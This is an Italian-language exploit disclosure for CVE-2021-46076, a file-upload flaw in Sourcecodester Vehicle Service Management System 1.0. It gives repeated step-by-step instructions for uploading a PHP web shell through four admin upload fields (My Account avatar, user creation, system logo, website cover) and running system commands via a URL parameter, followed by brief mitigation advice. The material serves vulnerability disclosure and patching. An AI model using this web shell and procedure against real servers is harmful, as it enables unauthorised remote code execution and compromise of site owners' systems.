CVE-2021-46076
Titolo dell'exploit: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution
Autore dell'exploit: SANU P.L
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
Riferimenti:
Descrizione:
Sourcecodester Vehicle Service Management System 1.0 è vulnerabile al caricamento di file. Un attaccante può caricare un file php dannoso in molteplici endpoint, portando all'esecuzione di codice.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php precedente, ad esempio: Cmd.php
- Nella sezione My Account inserisci tutti i dettagli richiesti e seleziona il file php in Avatar.
- Fai clic sul pulsante Update.
- Apri l'immagine dell'avatar in una nuova scheda.
- Aggiungi il parametro cmd nell'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione User List e fai clic sul pulsante Create New.
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php precedente, ad esempio: Cmd.php
- Nella pagina Create New User inserisci tutti i dettagli richiesti e seleziona il file php in Avatar.
- Fai clic sul pulsante Save.
- Apri l'immagine dell'avatar in una nuova scheda.
- Aggiungi il parametro cmd nell'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php precedente, ad esempio: Cmd.php
- Nella sezione Settings inserisci tutti i dettagli richiesti e seleziona il file php in System Logo.
- Fai clic sul pulsante Update.
- Apri l'immagine del System Logo in una nuova scheda.
- Aggiungi il parametro cmd nell'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php precedente, ad esempio: Cmd.php
- Nella sezione Settings inserisci tutti i dettagli richiesti e seleziona il file php in Website Cover.
- Fai clic sul pulsante Update.
- Apri l'immagine del Website Cover in una nuova scheda.
- Aggiungi il parametro cmd nell'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
Impatto:
Un attaccante può caricare un file php dannoso in molteplici endpoint, portando all'esecuzione di codice.
Mitigazione:
Si consiglia di implementare quanto segue:
- Non accettare mai un nome file e la sua estensione direttamente senza un filtro basato su whitelist.
- Se non c'è necessità di caratteri Unicode, è altamente consigliato accettare solo caratteri alfanumerici e un solo punto come input per il nome del file e l'estensione.
- Limitare la dimensione del file a un valore massimo per prevenire attacchi di denial of service.
- La directory di upload non deve avere alcun permesso di "esecuzione".
- Non affidarsi solo alla validazione lato client.